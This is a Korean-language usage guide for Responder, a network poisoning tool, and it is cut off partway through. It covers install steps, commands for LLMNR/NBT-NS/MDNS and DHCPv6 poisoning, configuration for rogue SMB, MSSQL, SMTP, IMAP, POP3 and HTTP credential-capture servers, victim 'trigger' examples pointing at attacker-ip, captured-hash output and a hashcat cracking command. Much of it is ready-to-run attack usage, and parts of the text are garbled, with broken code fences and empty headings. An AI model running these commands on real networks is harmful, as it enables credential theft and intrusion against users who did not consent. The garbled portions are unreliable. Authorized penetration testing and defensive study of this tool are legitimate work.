
Responder는 LLMNR, NBT-NS 및 MDNS 중독자이며, 내장된 HTTP/SMB/MSSQL/FTP/LDAP 악성 인증 서버를 통해 NTLMv1/NTLMv2/LMv2, 확장 보안 NTLMSSP 및 Basic HTTP 인증을 지원합니다.
Responder는 LLMNR, NBT-NS 및 MDNS 중독자로, HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS 등에 내장된 rogue 인증 서버를 제공합니다. NTLMv1/NTLMv2/LMv2, 확장 보안 NTLMSSP 및 15개 이상의 프로토콜에 걸친 다양한 인증 방식을 지원합니다.
Responder는 LLMNR, NBT-NS 및 MDNS 이름 확인 요청에 응답하여 자격 증명을 캡처합니다. 클라이언트가 존재하지 않는 호스트 이름을 확인하려고 하면 Responder가 응답하여 클라이언트를 공격자의 머신으로 유도하고, 여러 rogue 인증 서버가 자격 증명을 캡처합니다. DHCP, DHCPv6 rogue 서버도 포함되어 있으며 별도로 활성화할 수 있습니다.
캡처된 데이터:
이 버전에는 다음이 포함됩니다:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Responder 설치```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## 빠른 시작
### 기본 포이즈닝```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### HTTP 기본 인증 강제```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## Network Poisoning
### LLMNR/NBT-NS/MDNS Poisoning
**목적:** 이름 확인 실패에 응답
**작동 방식:**
1. 클라이언트가 존재하지 않는 호스트에 대해 쿼리 브로드캐스트
2. Responder가 응답: "내가 그 호스트다"
3. 클라이언트가 공격자에 연결
4. 자격 증명 캡처
**구성:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
사용법:```bash sudo python3 Responder.py -I eth0 -v
### DHCPv6 서버
**목적:** 클라이언트가 IPv6를 통해 공격자의 DNS를 사용하도록 강제
**기능:**
- ✅ INFORMATION-REQUEST 지원 (Windows 10/11)
- ✅ SOLICIT/REQUEST 지원
- ✅ 도메인 필터링 (정밀 타겟팅)
- ✅ 라우터 광고 (선택 사항)
**작동 방식:**
1. Windows가 DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST를 전송
2. Responder가 응답: DNS = 공격자 IPv6
3. Windows가 IPv6 DNS를 우선시
4. 모든 DNS 쿼리 → 공격자
5. DNS 중독 → 자격 증명 탈취
**설정:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
사용법:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**예상 출력:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responder에는 17개 이상의 악성 인증 서버가 포함되어 있습니다:
목적: 파일 공유에서 NetNTLM 해시 캡처
기능:
트리거:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**캡처된 형식:**```
username::domain:challenge:response:blob
크래킹:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**구성:**```ini
[Responder Core]
SMB = On
목적: 평문 FTP 자격 증명 캡처
기능:
트리거:```bash ftp attacker-ip
**캡처된 형식:**```
[FTP] Cleartext: username:password
구성:```ini [Responder Core] FTP = On
---
### 데이터베이스 서버
#### MSSQL 서버 (포트 1433)
**목적:** Microsoft SQL Server 인증 캡처
**기능:**
- ✅ SQL Server 인증
- ✅ Windows 인증 (NTLM)
- ✅ 평문 SQL 자격 증명
- ✅ NetNTLMv2 해시 캡처
**트리거:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
캡처된 형식:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**설정:**```ini
[Responder Core]
SQL = On
참고:
목적: 이메일 클라이언트 인증 캡처
기능:
STARTTLS 흐름:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**트리거:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
캡처된 형식:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**구성:**```ini
[Responder Core]
SMTP = On
인증서 경고: 자체 서명된 인증서 경고는 정상입니다. 클라이언트는 첫 번째 시도에서 거부하고 재시도 후 성공합니다. 자격 증명은 여전히 캡처됩니다.
목적: STARTTLS로 IMAP 인증 캡처
기능:
STARTTLS 흐름:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**설정:**```ini
[Responder Core]
IMAP = On
목적: SSL을 통한 IMAP (기본 암호화)
기능:
IMAP과의 차이점:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**구성:**```ini
[Responder Core]
IMAPS = On
목적: POP3 이메일 수신 자격 증명 캡처
기능:
트리거:``` Email client:
**캡처된 형식:**```
[POP3] USER: username
[POP3] PASS: password
구성:```ini [Responder Core] POP = On
---
### 웹 서버
#### HTTP 서버 (포트 80)
**목적:** 웹 인증 캡처
**기능:**
- ✅ NTLM 인증 (NetNTLMv1/v2)
- ✅ 기본 인증 (평문)
- ✅ 다이제스트 인증 (MD5)
- ✅ WPAD 주입
**트리거:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Basic Auth 강제:```bash sudo python3 Responder.py -I eth0 -b
**캡처된 형식:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
구성:```ini [Responder Core] HTTP = On
---
#### HTTPS 서버 (포트 443)
**목적:** 인증 캡처를 위한 HTTPS